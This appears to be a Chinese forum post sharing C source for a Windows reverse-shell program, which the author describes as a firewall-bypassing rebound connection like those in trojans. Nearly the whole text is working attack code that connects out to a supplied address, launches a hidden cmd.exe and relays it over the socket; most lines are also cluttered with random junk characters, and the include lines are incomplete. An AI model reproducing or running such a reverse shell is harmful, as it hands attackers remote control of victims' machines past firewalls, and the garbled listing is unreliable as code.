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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]~?k%Mpw  
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/* ============================== FAM`+QtNw  
Rebound port in Windows NT 32~Tf,  
By wind,2006/7 3 %DA{  
===============================*/ C| Mh<,~ E  
#include Z6D4VZVF  
#include 15yIPv+5  
U&u7d$ANP  
#pragma comment(lib,"wsock32.lib") dZ%b|CUb  
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void OutputShell(); ^]U2Jd  
SOCKET sClient; &51/Pm2O  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ykM#EyN  
 \W=  
void main(int argc,char **argv) N e^#5T  
{ 3M%EK2,  
WSADATA stWsaData; WZm^:,  
int nRet; 6:B5PJq  
SOCKADDR_IN stSaiClient,stSaiServer; MO _9Yi  
dtF6IdAf  
if(argc != 3) aNq Vs|H  
{ ;euWpE;E\#  
printf("Useage:\n\rRebound DestIP DestPort\n"); >p<( CVX[  
return; fLD9RZ8_  
} *kKGsy  
L1F){8[  
WSAStartup(MAKEWORD(2,2),&stWsaData); `Mjm/9+18  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [;?^DAnK2  
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stSaiClient.sin_family = AF_INET; ;JZXSM-3  
stSaiClient.sin_port = htons(0); wZC'BLD  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .s!:p pwl  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) plf<O5'  
{ `2@-'/$\I|  
printf("Bind Socket Failed!\n"); 0)P18n"$  
return; ^M80 F7  
} =?f}h{8x>  
P\M+Z A ;  
stSaiServer.sin_family = AF_INET; ScTqnY$v  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \O0fo^+U,,  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <pE G8_{}  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) G{"1  I  
{ sbs"26IE  
printf("Connect Error!"); a>kD G <.A  
return; 1z`,*eD7  
} +p[~hM6?  
OutputShell(); >u4e:/5]  
} */\.-L{h  
H,I}R  
void OutputShell() T9$U./69-L  
{ B.WJ6.DkS  
char szBuff[1024]; ms{R|vU%b  
SECURITY_ATTRIBUTES stSecurityAttributes; 4ku/3/ 6  
OSVERSIONINFO stOsversionInfo; |4c==7.  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; zm"\D vN)  
STARTUPINFO stStartupInfo; SH(kUL5  
char *szShell; VsmL#@E  
PROCESS_INFORMATION stProcessInformation; l6 WcnJ  
unsigned long lBytesRead; &Ch)SD  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); nZT@d;]U9  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); b1#=q0Zl  
stSecurityAttributes.lpSecurityDescriptor = 0; O7\s1 V;  
stSecurityAttributes.bInheritHandle = TRUE; IF:M_   
s/^k;qw  
HDEG/k/~m  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :9#`| #uh  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); O)Qz$  
k$c j|-<  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ypd?mw&1}  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `[KhG)Y7t  
stStartupInfo.wShowWindow = SW_HIDE; jQb D2x6(  
stStartupInfo.hStdInput = hReadPipe; x.yL'J\)  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $imx-H`|  
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GetVersionEx(&stOsversionInfo); v2{O67j} o  
{X$Mwqhpp;  
switch(stOsversionInfo.dwPlatformId) uI2'jEjO  
{ =#tQIhX`  
case 1: /)1-^ju  
szShell = "command.com"; ?a%i|Z7!  
break; `$H   
default: X2[cR;;'  
szShell = "cmd.exe"; sJoi fl 7  
break; m'tk#C  
} e{;e   
bY~v0kg  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); pG @iR*?  
?U08A{ c  
send(sClient,szMsg,77,0); ]e.+u  
while(1) _|ib@Xbin  
{ mPin\-I  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?vFh)U  
if(lBytesRead) mj=|oIMwT  
{ }qhK.e  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "6yiQ\`J  
send(sClient,szBuff,lBytesRead,0); fZ}Y(TG/  
} ^gzNP#A<'o  
else UwkX[u  
{ &.hRVW(  
lBytesRead=recv(sClient,szBuff,1024,0); |nN/x<v  
if(lBytesRead<=0) break; gF6j6  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); NCnId}BT  
} +[/47uFbI  
} lmKq xs4  
VtiqAh}4  
return; _M[[vXH  
}
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